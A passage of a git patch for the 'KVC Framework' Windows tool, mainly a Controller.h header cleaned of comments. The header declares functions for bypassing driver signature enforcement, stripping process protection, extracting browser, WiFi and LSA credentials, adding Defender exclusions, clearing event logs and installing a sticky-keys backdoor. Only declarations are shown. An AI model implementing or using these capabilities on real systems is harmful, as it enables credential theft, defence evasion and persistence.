From da908ccb24b500e1d776322da153e993d6e630dc Mon Sep 17 00:00:00 2001 From: wesmar Date: Wed, 15 Oct 2025 23:50:43 +0200 Subject: [PATCH] Aktualizacja: 2025-10-15 23:50:43 --- kvc/Controller.h | 987 +++------------------------- kvc/ControllerDriverManager.cpp | 80 +-- kvc/ControllerSystemIntegration.cpp | 25 +- kvc/DSEBypass_BSOD_minDebug.cpp | 370 +++++++++++ kvc/DSEBypass_old.cpp | 369 +++++++++++ kvc/DSEBypass_read_test.cpp | 394 +++++++++++ kvc/DSEBypass_write.cpp | 358 ++++++++++ kvc/HelpSystem.cpp | 18 + kvc/HelpSystem.h | 424 +----------- kvc/ICON/kvc.ico | Bin 23686 -> 14251 bytes kvc/Kvc.cpp | 33 +- kvc/Kvc.vcxproj | 2 + kvc/Kvc.vcxproj.filters | 33 +- kvc/Utils.cpp | 254 +++++++ kvc/Utils.h | 352 ++-------- kvc/WatermarkManager.cpp | 234 +++++++ kvc/WatermarkManager.h | 46 ++ kvc/resource.h | 3 +- 18 files changed, 2315 insertions(+), 1667 deletions(-) create mode 100644 kvc/DSEBypass_BSOD_minDebug.cpp create mode 100644 kvc/DSEBypass_old.cpp create mode 100644 kvc/DSEBypass_read_test.cpp create mode 100644 kvc/DSEBypass_write.cpp create mode 100644 kvc/WatermarkManager.cpp create mode 100644 kvc/WatermarkManager.h diff --git a/kvc/Controller.h b/kvc/Controller.h index 5213ed4..d83718a 100644 --- a/kvc/Controller.h +++ b/kvc/Controller.h @@ -4,10 +4,6 @@ * @author Marek Wesolowski * @date 2025 * @copyright KVC Framework - * - * Central controller managing kernel driver communication, process protection, - * DPAPI password extraction, and system-level operations. - * Integrates all framework components and provides unified interface. */ #pragma once @@ -18,1081 +14,298 @@ #include "OffsetFinder.h" #include "TrustedInstallerIntegrator.h" #include "Utils.h" +#include "WatermarkManager.h" #include #include #include #include #include -// Forward declarations class ReportExporter; -/** - * @struct ProcessEntry - * @brief Kernel process structure representation for EPROCESS manipulation - * - * Contains complete process information obtained from kernel space - * including protection levels, signature information, and kernel addresses. - */ +// Kernel process structure representation struct ProcessEntry { - ULONG_PTR KernelAddress; ///< EPROCESS structure address in kernel space - DWORD Pid; ///< Process identifier - UCHAR ProtectionLevel; ///< PP/PPL/None protection level (combined byte) - UCHAR SignerType; ///< Digital signature authority - UCHAR SignatureLevel; ///< Executable signature verification level - UCHAR SectionSignatureLevel; ///< DLL signature verification level - std::wstring ProcessName; ///< Process executable name + ULONG_PTR KernelAddress; + DWORD Pid; + UCHAR ProtectionLevel; + UCHAR SignerType; + UCHAR SignatureLevel; + UCHAR SectionSignatureLevel; + std::wstring ProcessName; }; -/** - * @struct ProcessMatch - * @brief Process search result with kernel information - * - * Used for process resolution operations when driver may not be available. - */ +// Process search result struct ProcessMatch { - DWORD Pid = 0; ///< Process ID - std::wstring ProcessName; ///< Process name - ULONG_PTR KernelAddress = 0; ///< Kernel EPROCESS address + DWORD Pid = 0; + std::wstring ProcessName; + ULONG_PTR KernelAddress = 0; }; -/** - * @struct SQLiteAPI - * @brief WinSQLite dynamic loading structure for browser database operations - * - * Function pointers for SQLite3 operations used in browser password extraction. - * Loaded dynamically to avoid static linking dependencies. - */ +// SQLite function pointers for browser operations struct SQLiteAPI { - HMODULE hModule = nullptr; ///< SQLite3 module handle - int (*open_v2)(const char*, void**, int, const char*) = nullptr; ///< sqlite3_open_v2 - int (*prepare_v2)(void*, const char*, int, void**, const char**) = nullptr; ///< sqlite3_prepare_v2 - int (*step)(void*) = nullptr; ///< sqlite3_step - const unsigned char* (*column_text)(void*, int) = nullptr; ///< sqlite3_column_text - const void* (*column_blob)(void*, int) = nullptr; ///< sqlite3_column_blob - int (*column_bytes)(void*, int) = nullptr; ///< sqlite3_column_bytes - int (*finalize)(void*) = nullptr; ///< sqlite3_finalize - int (*close_v2)(void*) = nullptr; ///< sqlite3_close_v2 + HMODULE hModule = nullptr; + int (*open_v2)(const char*, void**, int, const char*) = nullptr; + int (*prepare_v2)(void*, const char*, int, void**, const char**) = nullptr; + int (*step)(void*) = nullptr; + const unsigned char* (*column_text)(void*, int) = nullptr; + const void* (*column_blob)(void*, int) = nullptr; + int (*column_bytes)(void*, int) = nullptr; + int (*finalize)(void*) = nullptr; + int (*close_v2)(void*) = nullptr; }; -/** - * @struct PasswordResult - * @brief Password extraction result structure for DPAPI operations - * - * Stores decrypted credentials from browsers and WiFi with metadata. - */ +// Password extraction result struct PasswordResult { - std::wstring type; ///< Chrome, Edge, WiFi credential type - std::wstring profile; ///< Browser/WiFi profile name - std::wstring url; ///< URL for browser logins - std::wstring username; ///< Login username - std::wstring password; ///< Decrypted password - std::wstring file; ///< Source file path - std::wstring data; ///< Additional data - std::wstring status; ///< DECRYPTED, ENCRYPTED, FAILED - uintmax_t size = 0; ///< Data size in bytes + std::wstring type; + std::wstring profile; + std::wstring url; + std::wstring username; + std::wstring password; + std::wstring file; + std::wstring data; + std::wstring status; + uintmax_t size = 0; }; -/** - * @struct RegistryMasterKey - * @brief Registry master key for DPAPI decryption operations - * - * Represents encrypted master keys extracted from registry for DPAPI operations. - */ +// Registry master key for DPAPI operations struct RegistryMasterKey { - std::wstring keyName; ///< Registry key path (DPAPI_SYSTEM, NL$KM, etc.) - std::vector encryptedData; ///< Raw encrypted key data from registry - std::vector decryptedData; ///< Decrypted master key data - bool isDecrypted = false; ///< Decryption success flag + std::wstring keyName; + std::vector encryptedData; + std::vector decryptedData; + bool isDecrypted = false; }; /** - * @class Controller - * @brief Main orchestration class for all KVC Framework operations - * - * Manages: - * - Kernel driver lifecycle and communication - * - Process protection manipulation (PP/PPL) - * - Memory dumping operations with protection handling - * - DPAPI password extraction (Chrome, Edge, WiFi) - * - Windows Defender exclusion management - * - TrustedInstaller privilege escalation - * - Registry operations and hive management - * - Session state tracking and restoration - * - * @note Central hub integrating all framework components - * @warning Requires appropriate privileges for different operations + * Main controller class managing kernel driver, process protection, + * memory dumping, DPAPI extraction, and system operations */ class Controller { public: - /** - * @brief Construct controller and initialize core components - * - * Initializes TrustedInstaller integration, offset finder, and SQLite. - * Does not automatically load driver - call driver methods as needed. - */ Controller(); - - /** - * @brief Destructor with comprehensive cleanup - * - * Ends driver session, unloads SQLite, and cleans up resources. - */ ~Controller(); - // Disable copy semantics - Controller(const Controller&) = delete; ///< Copy constructor deleted - Controller& operator=(const Controller&) = delete; ///< Copy assignment deleted - - // Enable move semantics - Controller(Controller&&) noexcept = default; ///< Move constructor - Controller& operator=(Controller&&) noexcept = default; ///< Move assignment + Controller(const Controller&) = delete; + Controller& operator=(const Controller&) = delete; + Controller(Controller&&) noexcept = default; + Controller& operator=(Controller&&) noexcept = default; - // DSE Bypass methods - - /** - * @brief Disables Driver Signature Enforcement (DSE) on the system - * - * This method bypasses kernel-mode code signing protection by: - * - Locating the CiEnabled/CI!g_CiOptions global variable in kernel memory - * - Modifying its value to disable signature enforcement checks - * - Bypassing PatchGuard protection mechanisms - * - * @return true if DSE was successfully disabled, false otherwise - * @note Requires kernel driver to be loaded and elevated privileges - * @warning This exposes the system to unsigned driver loading - use with caution - * @note Automatically handles CiEnabled (Win7) and g_CiOptions (Win8+) variants - */ + // DSE bypass operations bool DisableDSE() noexcept; - - /** - * @brief Restores Driver Signature Enforcement to its original state - * - * Reverts the changes made by DisableDSE() by: - * - Restoring the original value of CiOptions/CiEnabled - * - Re-enforcing kernel-mode code signing requirements - * - Ensuring system integrity is maintained - * - * @return true if DSE was successfully restored, false otherwise - * @note Should be called before driver unload to maintain system security - * @warning Failure to restore DSE may leave the system in an insecure state - */ bool RestoreDSE() noexcept; - - /** - * @brief Retrieves the kernel address of CI!g_CiOptions or CiEnabled variable - * - * Locates the critical kernel structure that controls DSE by: - * - Scanning kernel memory for known patterns - * - Using exported kernel symbols when available - * - Employing heuristic search methods as fallback - * - * @return ULONG_PTR Virtual address of CiOptions in kernel space, 0 if not found - * @note The address is used for direct memory modification to bypass DSE - * @note Returns different addresses based on Windows version (Win7 vs Win8+) - */ ULONG_PTR GetCiOptionsAddress() const noexcept; - - /** - * @brief Retrieves current DSE status including g_CiOptions address and value - * - * Queries the kernel for current Driver Signature Enforcement state by: - * - Locating ci.dll module in kernel space - * - Finding g_CiOptions variable address - * - Reading current enforcement flags - * - * @param outAddress Reference to store g_CiOptions kernel address - * @param outValue Reference to store current g_CiOptions value - * @return true if status retrieved successfully, false otherwise - * @note Requires driver session with kernel memory access - * @note outValue bits 1-2 indicate DSE state (set = enabled) - */ bool GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept; + + // Handles removal and restoration of system watermark related to signature hijacking. + bool RemoveWatermark() noexcept; + bool RestoreWatermark() noexcept; + std::wstring GetWatermarkStatus() noexcept; - // === Memory Dumping Operations === - - /** - * @brief Dump process memory to file with driver support - * @param pid Process ID to dump - * @param outputPath Output file path - * @return true if dump successful - * @note Handles protected processes and undumpable flags - * @note Uses kernel driver for memory access - */ + // Memory dumping bool DumpProcess(DWORD pid, const std::wstring& outputPath) noexcept; - - /** - * @brief Dump process by name with pattern matching - * @param processName Process name or pattern - * @param outputPath Output file path - * @return true if dump successful - * @note Supports partial name matching and wildcards - */ bool DumpProcessByName(const std::wstring& processName, const std::wstring& outputPath) noexcept; - // === Binary Management === - - /** - * @brief Load and split kvc.dat into components - * @return true if components extracted successfully - * @note Deploys kvc_pass.exe and kvc_crypt.dll to System32 - * @note Uses XOR decryption for embedded binaries - */ + // Binary management bool LoadAndSplitCombinedBinaries() noexcept; - - /** - * @brief Write extracted components to filesystem - * @param kvcPassData kvc_pass.exe binary data - * @param kvcCryptData kvc_crypt.dll binary data - * @return true if both components written successfully - * @note Uses TrustedInstaller privileges for System32 deployment - */ bool WriteExtractedComponents(const std::vector& kvcPassData, const std::vector& kvcCryptData) noexcept; - // === Process Information Operations === - - /** - * @brief List all protected processes with details - * @return true if enumeration successful - * @note Uses driver for kernel process list access - * @note Color-coded output based on trust levels - */ + // Process information bool ListProtectedProcesses() noexcept; - - /** - * @brief Get protection information for specific process - * @param pid Process ID to query - * @return true if information retrieved successfully - * @note Displays protection level, signer, and signature information - */ bool GetProcessProtection(DWORD pid) noexcept; - - /** - * @brief Get protection information by process name - * @param processName Process name to query - * @return true if information retrieved successfully - * @note Supports partial name matching - */ bool GetProcessProtectionByName(const std::wstring& processName) noexcept; - - /** - * @brief Print detailed process information - * @param pid Process ID - * @return true if information printed successfully - * @note Shows kernel address, protection, and signature details - */ bool PrintProcessInfo(DWORD pid) noexcept; - // === Process Protection Manipulation === - - /** - * @brief Set process protection level (force operation) - * @param pid Process ID - * @param protectionLevel Protection level string ("PP", "PPL", "None") - * @param signerType Signer type string ("Windows", "Antimalware", etc.) - * @return true if protection set successfully - * @note Ignores current protection state - forces new values - */ + // Process protection manipulation bool SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; - - /** - * @brief Protect unprotected process - * @param pid Process ID - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @return true if protection applied - * @note Fails if process already protected - */ bool ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; - - /** - * @brief Remove protection from process - * @param pid Process ID - * @return true if protection removed - * @note Sets protection to PS_PROTECTED_TYPE::None - */ bool UnprotectProcess(DWORD pid) noexcept; - // === Name-based Protection Operations === - - /** - * @brief Protect process by name with pattern matching - * @param processName Process name or pattern - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @return true if protection applied to matching processes - */ + // Name-based operations bool ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; - - /** - * @brief Unprotect process by name - * @param processName Process name or pattern - * @return true if protection removed from matching processes - */ bool UnprotectProcessByName(const std::wstring& processName) noexcept; - - /** - * @brief Set protection by name (force operation) - * @param processName Process name or pattern - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @return true if protection set on matching processes - */ bool SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; - // === Signer-based Batch Operations === - - /** - * @brief Unprotect all processes with specific signer - * @param signerName Signer type name - * @return true if all matching processes unprotected - * @note Saves operation to session manager for restoration - */ + // Signer-based batch operations bool UnprotectBySigner(const std::wstring& signerName) noexcept; - - /** - * @brief List all processes with specific signer - * @param signerName Signer type name - * @return true if listing successful - */ bool ListProcessesBySigner(const std::wstring& signerName) noexcept; - - /** - * @brief Change protection for all processes with specific signer - * @param currentSigner Current signer type to match - * @param level New protection level - * @param newSigner New signer type - * @return true if protection changed successfully - */ bool SetProtectionBySigner(const std::wstring& currentSigner, const std::wstring& level, const std::wstring& newSigner) noexcept; - // === Session State Restoration === - - /** - * @brief Restore protection for specific signer group from session - * @param signerName Signer type to restore - * @return true if restoration successful - * @note Uses session manager for state tracking - */ + // Session state management bool RestoreProtectionBySigner(const std::wstring& signerName) noexcept; - - /** - * @brief Restore all saved protection states - * @return true if all restorations successful - */ bool RestoreAllProtection() noexcept; - - /** - * @brief Display session history and statistics - */ void ShowSessionHistory() noexcept; - - /** - * @brief Set process protection using kernel address - * @param addr Kernel EPROCESS address - * @param protection Combined protection byte - * @return true if protection set successfully - */ bool SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept; - SessionManager m_sessionMgr; ///< Session manager for state tracking + SessionManager m_sessionMgr; - // === Batch Process Operations === - - /** - * @brief Unprotect all protected processes - * @return true if all processes unprotected - * @warning This affects all protected processes on system - */ + // Batch operations bool UnprotectAllProcesses() noexcept; - - /** - * @brief Unprotect multiple processes by target list - * @param targets Vector of process targets (PIDs or names) - * @return true if all targets processed successfully - */ bool UnprotectMultipleProcesses(const std::vector& targets) noexcept; - - /** - * @brief Protect multiple processes with specified parameters - * @param targets Vector of process targets - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @return true if all targets protected successfully - */ bool ProtectMultipleProcesses(const std::vector& targets, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; - - /** - * @brief Set protection for multiple processes (force) - * @param targets Vector of process targets - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @return true if all targets processed successfully - */ bool SetMultipleProcessesProtection(const std::vector& targets, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; - // === Process Termination === - - /** - * @brief Terminate multiple processes by PID - * @param pids Vector of process IDs to terminate - * @return true if all processes terminated successfully - * @note Uses protection-aware termination - */ + // Process termination bool KillMultipleProcesses(const std::vector& pids) noexcept; - - /** - * @brief Terminate multiple processes by target list - * @param targets Vector of process targets (PIDs or names) - * @return true if all targets terminated successfully - */ bool KillMultipleTargets(const std::vector& targets) noexcept; - - /** - * @brief Terminate process with driver support - * @param pid Process ID to terminate - * @return true if process terminated successfully - * @note Uses protection-aware termination - */ bool KillProcess(DWORD pid) noexcept; - - /** - * @brief Terminate process by name - * @param processName Process name or pattern - * @return true if matching processes terminated - */ bool KillProcessByName(const std::wstring& processName) noexcept; - // === Kernel Process Access === - - /** - * @brief Get kernel EPROCESS address for process - * @param pid Process ID - * @return Kernel address or nullopt if not found - * @note Uses cached addresses for performance - */ + // Kernel access std::optional GetProcessKernelAddress(DWORD pid) noexcept; - - /** - * @brief Get process protection level from kernel address - * @param kernelAddress EPROCESS address in kernel space - * @return Protection byte or nullopt on failure - */ std::optional GetProcessProtection(ULONG_PTR kernelAddress) noexcept; - - /** - * @brief Get complete process list with kernel information - * @return Vector of process entries - * @note Uses driver for kernel space access - */ std::vector GetProcessList() noexcept; - // === Self-Protection Operations === - - /** - * @brief Apply protection to current process - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @return true if self-protection successful - * @note Used for privilege escalation and stealth - */ + // Self-protection bool SelfProtect(const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; - - /** - * @brief Resolve process name without driver dependency - * @param processName Process name to resolve - * @return Process match information or nullopt - * @note Fallback method when driver is unavailable - */ std::optional ResolveNameWithoutDriver(const std::wstring& processName) noexcept; - // === DPAPI Password Extraction === - - /** - * @brief Extract and display passwords from all sources - * @param outputPath Output directory for reports - * @return true if extraction completed - * @note Extracts Chrome, Edge, and WiFi credentials - * @note Generates HTML and TXT reports - */ + // DPAPI password extraction bool ShowPasswords(const std::wstring& outputPath) noexcept; - - /** - * @brief Export browser data for specific browser - * @param outputPath Output directory - * @param browserType Browser type ("chrome", "edge") - * @return true if export successful - */ bool ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept; - // === System Integration === - - /** - * @brief Execute command with TrustedInstaller privileges - * @param commandLine Command to execute - * @return true if execution successful - */ + // TrustedInstaller operations bool RunAsTrustedInstaller(const std::wstring& commandLine); - - /** - * @brief Execute command with TrustedInstaller privileges (silent) - * @param command Command to execute - * @return true if execution successful - */ bool RunAsTrustedInstallerSilent(const std::wstring& command); - - /** - * @brief Add context menu entries to Windows Explorer - * @return true if entries added successfully - */ bool AddContextMenuEntries(); - // === Legacy Defender Exclusion Management === - - /** - * @brief Add current executable to Defender exclusions - * @param customPath Custom path to exclude (empty = current executable) - * @return true if exclusion added successfully - */ + // Windows Defender exclusions bool AddToDefenderExclusions(const std::wstring& customPath = L""); - - /** - * @brief Remove current executable from Defender exclusions - * @param customPath Custom path to remove (empty = current executable) - * @return true if exclusion removed successfully - */ bool RemoveFromDefenderExclusions(const std::wstring& customPath = L""); - - // === Enhanced Defender Exclusion Management === - - /** - * @brief Add Defender exclusion by type - * @param type Exclusion type - * @param value Value to exclude - * @return true if exclusion added successfully - */ bool AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value); - - /** - * @brief Remove Defender exclusion by type - * @param type Exclusion type - * @param value Value to remove - * @return true if exclusion removed successfully - */ bool RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value); - // === Type-specific Exclusion Convenience Methods === - - /** - * @brief Add file extension exclusion - * @param extension Extension to exclude (e.g., ".exe") - * @return true if exclusion added successfully - */ + // Type-specific exclusions bool AddExtensionExclusion(const std::wstring& extension); - - /** - * @brief Remove file extension exclusion - * @param extension Extension to remove - * @return true if exclusion removed successfully - */ bool RemoveExtensionExclusion(const std::wstring& extension); - - /** - * @brief Add IP address exclusion - * @param ipAddress IP address to exclude - * @return true if exclusion added successfully - */ bool AddIpAddressExclusion(const std::wstring& ipAddress); - - /** - * @brief Remove IP address exclusion - * @param ipAddress IP address to remove - * @return true if exclusion removed successfully - */ bool RemoveIpAddressExclusion(const std::wstring& ipAddress); - - /** - * @brief Add process exclusion - * @param processName Process name to exclude - * @return true if exclusion added successfully - */ bool AddProcessExclusion(const std::wstring& processName); - - /** - * @brief Remove process exclusion - * @param processName Process name to remove - * @return true if exclusion removed successfully - */ bool RemoveProcessExclusion(const std::wstring& processName); - - /** - * @brief Add path exclusion - * @param path Path to exclude - * @return true if exclusion added successfully - */ bool AddPathExclusion(const std::wstring& path); - - /** - * @brief Remove path exclusion - * @param path Path to remove - * @return true if exclusion removed successfully - */ bool RemovePathExclusion(const std::wstring& path); - // === System Administration === - - /** - * @brief Clear all Windows event logs - * @return true if logs cleared successfully - * @note Requires administrative privileges - */ + // System administration bool ClearSystemEventLogs() noexcept; - // === Legacy Driver Management === - - /** - * @brief Install kernel driver from embedded resource - * @return true if driver installed successfully - * @note Extracts driver from steganographic icon resource - */ + // Driver management bool InstallDriver() noexcept; - - /** - * @brief Uninstall kernel driver and remove files - * @return true if driver uninstalled successfully - */ bool UninstallDriver() noexcept; - - /** - * @brief Start driver service (interactive) - * @return true if service started - */ bool StartDriverService() noexcept; - - /** - * @brief Stop driver service - * @return true if service stopped - */ bool StopDriverService() noexcept; - - /** - * @brief Start driver service silently - * @return true if service started - */ bool StartDriverServiceSilent() noexcept; - /** - * @brief Extract encrypted driver from resources - * @return Encrypted driver data - */ - std::vector ExtractEncryptedDriver() noexcept; - - /** - * @brief Decrypt driver data using XOR cipher - * @param encryptedData Encrypted driver data - * @return Decrypted driver data - */ - std::vector DecryptDriver(const std::vector& encryptedData) noexcept; + // Driver extraction (already decrypted by Utils) + std::vector ExtractDriver() noexcept; - // === Emergency Operations === - - /** - * @brief Perform atomic cleanup of temporary files and services - * @return true if cleanup successful - * @note Emergency method for recovering from failed operations - */ + // Emergency operations bool PerformAtomicCleanup() noexcept; - // === Backdoor Management === - - /** - * @brief Install sticky keys backdoor - * @return true if backdoor installed successfully - * @warning Security risk - only for authorized testing - */ + // Backdoor management bool InstallStickyKeysBackdoor() noexcept; - - /** - * @brief Remove sticky keys backdoor - * @return true if backdoor removed successfully - */ bool RemoveStickyKeysBackdoor() noexcept; private: - // Core components - TrustedInstallerIntegrator m_trustedInstaller; ///< TrustedInstaller integration component - std::unique_ptr m_rtc; ///< Kernel driver communication interface - std::unique_ptr m_of; ///< Kernel offset finder - std::unique_ptr m_dseBypass; ///< Kernel code signing enforcement bypass - SQLiteAPI m_sqlite; ///< SQLite API for browser database operations + TrustedInstallerIntegrator m_trustedInstaller; + std::unique_ptr m_rtc; + std::unique_ptr m_of; + std::unique_ptr m_dseBypass; + SQLiteAPI m_sqlite; - // === Privilege and System Management === - - /** - * @brief Enable debug privilege for process manipulation - * @return true if privilege enabled successfully - */ + // Privilege management bool EnableDebugPrivilege() noexcept; - - /** - * @brief Write file with TrustedInstaller privileges - * @param filePath File path to write - * @param data Data to write - * @return true if write successful - */ - bool WriteFileWithPrivileges(const std::wstring& filePath, const std::vector& data) noexcept; + bool WriteFileWithPrivileges(const std::wstring& filePath, const std::vector& data) noexcept; - // === Binary Processing === - - /** - * @brief Split combined PE binary into components - * @param combinedData Combined binary data - * @param kvcPassData Output for kvc_pass.exe data - * @param kvcCryptData Output for kvc_crypt.dll data - * @return true if splitting successful - */ + // Binary processing bool SplitCombinedPE(const std::vector& combinedData, std::vector& kvcPassData, std::vector& kvcCryptData) noexcept; - // === Atomic Driver Operations === - - /** - * @brief Force remove driver service - * @return true if service removed successfully - */ + // Driver operations bool ForceRemoveService() noexcept; - - /** - * @brief Ensure driver is available and loaded - * @return true if driver ready for operations - */ bool EnsureDriverAvailable() noexcept; - - /** - * @brief Check if driver is currently loaded - * @return true if driver service is running - */ bool IsDriverCurrentlyLoaded() noexcept; - - /** - * @brief Perform atomic driver initialization - * @return true if initialization successful - */ bool PerformAtomicInit() noexcept; - - /** - * @brief Perform atomic init with error cleanup - * @return true if initialization successful - */ bool PerformAtomicInitWithErrorCleanup() noexcept; - - // === Silent Driver Installation === - - /** - * @brief Install driver silently without user interaction - * @return true if silent installation successful - */ bool InstallDriverSilently() noexcept; - - /** - * @brief Register driver service silently - * @param driverPath Path to driver file - * @return true if service registered successfully - */ bool RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept; - // === Driver Session Management === + // Driver session management + bool m_driverSessionActive = false; + std::chrono::steady_clock::time_point m_lastDriverUsage; - bool m_driverSessionActive = false; ///< Driver session active flag - std::chrono::steady_clock::time_point m_lastDriverUsage; ///< Last driver usage timestamp - - /** - * @brief Begin driver session - * @return true if session started successfully - */ bool BeginDriverSession(); - - /** - * @brief Check if service is in zombie state - * @return true if service exists but not responding - */ bool IsServiceZombie() noexcept; - - /** - * @brief End driver session - * @param force Force session end without cleanup - */ void EndDriverSession(bool force = false); - - /** - * @brief Update driver usage timestamp - */ void UpdateDriverUsageTimestamp(); - // === Cache Management === - - /** - * @brief Refresh kernel address cache - */ + // Cache management void RefreshKernelAddressCache(); - - /** - * @brief Get cached kernel address for process - * @param pid Process ID - * @return Cached kernel address or nullopt - */ std::optional GetCachedKernelAddress(DWORD pid); - // === Internal Process Termination === - - /** - * @brief Internal process termination implementation - * @param pid Process ID to terminate - * @param batchOperation True if part of batch operation - * @return true if termination successful - */ + // Internal process termination bool KillProcessInternal(DWORD pid, bool batchOperation = false) noexcept; - // === Kernel Address Cache === - - std::unordered_map m_kernelAddressCache; ///< Kernel address cache for processes - std::chrono::steady_clock::time_point m_cacheTimestamp; ///< Cache timestamp for invalidation - - // === Process List Cache === - - std::vector m_cachedProcessList; ///< Cached process list + // Kernel address cache + std::unordered_map m_kernelAddressCache; + std::chrono::steady_clock::time_point m_cacheTimestamp; + std::vector m_cachedProcessList; - // === Internal Kernel Process Management === - - /** - * @brief Get initial system process address - * @return System process address or nullopt - */ + // Process management std::optional GetInitialSystemProcessAddress() noexcept; - - // === Process Pattern Matching === - - /** - * @brief Find processes by name pattern - * @param pattern Process name pattern - * @return Vector of matching processes - */ std::vector FindProcessesByName(const std::wstring& pattern) noexcept; - - /** - * @brief Check if process name matches pattern - * @param processName Process name to check - * @param pattern Pattern to match against - * @return true if name matches pattern - */ bool IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept; - // === Internal Batch Operation Helpers === - - /** - * @brief Internal process protection implementation - * @param pid Process ID - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @param batchOperation True if part of batch operation - * @return true if protection successful - */ + // Batch operation helpers bool ProtectProcessInternal(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType, bool batchOperation) noexcept; - - /** - * @brief Internal set protection implementation - * @param pid Process ID - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @param batchOperation True if part of batch operation - * @return true if protection set successfully - */ bool SetProcessProtectionInternal(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType, bool batchOperation) noexcept; - // === Memory Dumping === - - /** - * @brief Create minidump of process memory - * @param pid Process ID to dump - * @param outputPath Output file path - * @return true if dump created successfully - */ + // Memory dumping bool CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexcept; - - /** - * @brief Set current process protection level - * @param protection Protection byte to set - * @return true if protection set successfully - */ bool SetCurrentProcessProtection(UCHAR protection) noexcept; - // === DPAPI Extraction Lifecycle === - - /** - * @brief Initialize password extraction components - * @return true if initialization successful - */ + // DPAPI extraction lifecycle bool PerformPasswordExtractionInit() noexcept; - - /** - * @brief Cleanup password extraction resources - */ void PerformPasswordExtractionCleanup() noexcept; - // === Registry Master Key Extraction === - - /** - * @brief Extract registry master keys with TrustedInstaller - * @param masterKeys Output vector for master keys - * @return true if extraction successful - */ + // Registry master key extraction bool ExtractRegistryMasterKeys(std::vector& masterKeys) noexcept; - - /** - * @brief Extract LSA secrets via TrustedInstaller - * @param masterKeys Output vector for master keys - * @return true if extraction successful - */ bool ExtractLSASecretsViaTrustedInstaller(std::vector& masterKeys) noexcept; - - /** - * @brief Parse registry file for secrets - * @param regFilePath Registry file path - * @param masterKeys Output vector for master keys - * @return true if parsing successful - */ bool ParseRegFileForSecrets(const std::wstring& regFilePath, std::vector& masterKeys) noexcept; - - /** - * @brief Convert hex string to byte vector - * @param hexString Hex string to convert - * @param bytes Output byte vector - * @return true if conversion successful - */ bool ConvertHexStringToBytes(const std::wstring& hexString, std::vector& bytes) noexcept; - - // === Registry Master Key Processing === - - /** - * @brief Process registry master keys for display - * @param masterKeys Master keys to process - * @return true if processing successful - */ bool ProcessRegistryMasterKeys(std::vector& masterKeys) noexcept; - // === Browser Password Processing === - - /** - * @brief Process browser passwords with AES-GCM decryption - * @param masterKeys Registry master keys for decryption - * @param results Output vector for password results - * @param outputPath Output directory for reports - * @return true if processing successful - */ + // Browser password processing bool ProcessBrowserPasswords(const std::vector& masterKeys, std::vector& results, const std::wstring& outputPath) noexcept; - - /** - * @brief Process single browser instance - * @param browserPath Browser data path - * @param browserName Browser name - * @param masterKeys Registry master keys - * @param results Output vector for results - * @param outputPath Output directory - * @return true if processing successful - */ bool ProcessSingleBrowser(const std::wstring& browserPath, const std::wstring& browserName, const std::vector& masterKeys, std::vector& results, const std::wstring& outputPath) noexcept; - - /** - * @brief Extract browser master key - * @param browserPath Browser data path - * @param browserName Browser name - * @param masterKeys Registry master keys - * @param decryptedKey Output decrypted key - * @return true if extraction successful - */ bool ExtractBrowserMasterKey(const std::wstring& browserPath, const std::wstring& browserName, const std::vector& masterKeys, std::vector& decryptedKey) noexcept; - - /** - * @brief Process login database - * @param loginDataPath Login database path - * @param browserName Browser name - * @param profileName Profile name - * @param masterKey Decrypted master key - * @param results Output vector for results - * @param outputPath Output directory - * @return Number of passwords processed - */ int ProcessLoginDatabase(const std::wstring& loginDataPath, const std::wstring& browserName, const std::wstring& profileName, const std::vector& masterKey, std::vector& results, const std::wstring& outputPath) noexcept; - // === WiFi Credential Extraction === - - /** - * @brief Extract WiFi credentials via netsh - * @param results Output vector for results - * @return true if extraction successful - */ + // WiFi credentials bool ExtractWiFiCredentials(std::vector& results) noexcept; - // === SQLite Database Operations === - - /** - * @brief Load SQLite library dynamically - * @return true if library loaded successfully - */ + // SQLite operations bool LoadSQLiteLibrary() noexcept; - - /** - * @brief Unload SQLite library - */ void UnloadSQLiteLibrary() noexcept; - // === Cryptographic Operations === - - /** - * @brief Decrypt data using DPAPI with master keys - * @param encryptedData Data to decrypt - * @param masterKeys Registry master keys - * @return Decrypted data or empty on failure - */ + // Cryptographic operations std::vector DecryptWithDPAPI(const std::vector& encryptedData, const std::vector& masterKeys) noexcept; - - /** - * @brief Decrypt Chrome AES-GCM encrypted data - * @param encryptedData Encrypted data to decrypt - * @param key AES decryption key - * @return Decrypted string or empty on failure - */ std::string DecryptChromeAESGCM(const std::vector& encryptedData, const std::vector& key) noexcept; - // === Process Name Resolution === - - /** - * @brief Resolve process name with driver-free options - * @param processName Process name to resolve - * @return Process match or nullopt - */ + // Process name resolution std::optional ResolveProcessName(const std::wstring& processName) noexcept; - - /** - * @brief Find processes by name without driver - * @param pattern Process name pattern - * @return Vector of matching processes - */ std::vector FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept; }; \ No newline at end of file diff --git a/kvc/ControllerDriverManager.cpp b/kvc/ControllerDriverManager.cpp index 15bd326..65eaff0 100644 --- a/kvc/ControllerDriverManager.cpp +++ 